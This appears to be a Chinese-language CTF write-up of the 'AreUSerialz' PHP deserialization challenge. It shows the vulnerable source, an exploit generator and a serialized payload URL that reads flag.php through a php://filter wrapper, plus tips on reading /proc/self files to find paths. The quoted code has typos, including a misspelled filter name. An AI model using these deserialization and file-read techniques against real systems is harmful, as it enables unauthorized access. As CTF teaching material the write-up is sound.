AreUSerialz 反序列化+序列化后产生不可见字符+/proc/self利用

时间:2020-07-01
本文章向大家介绍 AreUSerialz 反序列化+序列化后产生不可见字符+/proc/self利用 ,主要包括 AreUSerialz 反序列化+序列化后产生不可见字符+/proc/self利用 使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

杂言

  我从来不知道自己有那么热爱学习(大哭),摸鱼了一个学期,最后一个月终于把期末给应付过去了,接下来就是把之前应付考试的时间补回来刷题和实习准备了,这次是5月网鼎青龙组的一道,我现在才拿来复现。。。。

解题

  开幕雷击

<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res$this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

} 

  Private、protecte序列化后产生不可见字符

  private属性序列化的时候格式是%00类名%00成员名

  protecte属性序列化的时候格式是%00*%00成员

  PHP7.1以上的反序列化不会判断里面参数的属性类型了,所以可以改成public再进行反序列化,绕过private、protected序列化后产生不可见字符。__destruct()方法,当op===“2"时会将"2"变成"1”,可以把op转成int型进行绕过

<?php
    class FileHandler{
        public $op;
        public $filename;
            public $content;
    }
    $a = new FileHandler();
    $a->op = 2;
    $a->filename = 'php://filter/read=conver.base64_encode/resource=./flag.php';
    echo serialize($a);
?>
playload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:58:"php://filter/read=conver.base64_encode/resource=./flag.php";s:7:"content";N;}

 

 这道题目在复现的时候用相对路径没问题,在比赛的时候还有一个坑点就是要知道绝对路径 

linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。

maps 记录一些调用的扩展或者自定义 so 文件

environ 环境变量

comm 当前进程运行的程序

cmdline 程序运行的绝对路径

cpuset docker 环境可以看 machine ID

cgroup docker环境下全是 machine ID 不太常用

  可以读取/proc/self/cmdline找到当前路径获取配置信息/web/config/httpd.conf

  然后读取/web/html/flag.php

参考链接

  https://blog.csdn.net/god_zzZ/article/details/106062140

原文地址:https://www.cnblogs.com/Lee-404/p/13221067.html